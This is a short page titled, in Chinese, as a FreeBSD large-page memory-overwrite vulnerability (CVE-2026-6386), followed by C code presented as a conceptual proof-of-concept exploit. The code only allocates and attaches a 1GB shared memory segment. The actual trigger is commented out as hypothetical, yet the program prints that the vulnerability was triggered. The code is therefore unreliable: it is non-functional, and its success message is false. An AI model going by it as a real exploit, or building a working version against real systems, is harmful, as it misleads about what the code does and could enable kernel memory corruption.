FreeBSD CVE-2026-6386 大页映射内存覆盖漏洞

#include <sys/types.h> #include <sys/mman.h> #include <sys/shm.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> // Conceptual Proof of Concept for CVE-2026-6386 // Demonstrates triggering the largepage pmap bug int main() { int shmid; void *addr; size_t size = 1UL << 30; // 1GB // Create a shared memory segment // In a real exploit, this would leverage shm_create_largepage(3) or specific flags shmid = shmget(IPC_PRIVATE, size, IPC_CREAT | IPC_EXCL | 0600); if (shmid < 0) { perror("shmget failed"); return 1; } // Attach the shared memory to the address space addr = shmat(shmid, NULL, 0); if (addr == (void *)-1) { perror("shmat failed"); return 1; } printf("Memory mapped at %p\n", addr); // Trigger the vulnerable path: pmap_pkru_update_range // This involves manipulating memory protection keys (pkeys) on the mapped region. // The kernel will treat the largepage directory entry as a page table entry, // leading to the corruption. // Note: Actual exploitation requires precise memory layout and pkey usage. #ifdef __FreeBSD__ // Hypothetical trigger logic // pkey_mprotect(addr, size, PROT_READ, pkey); #endif printf("Vulnerability triggered. Check kernel logs for crash or corruption.\n"); // Cleanup shmdt(addr); shmctl(shmid, IPC_RMID, NULL); return 0; }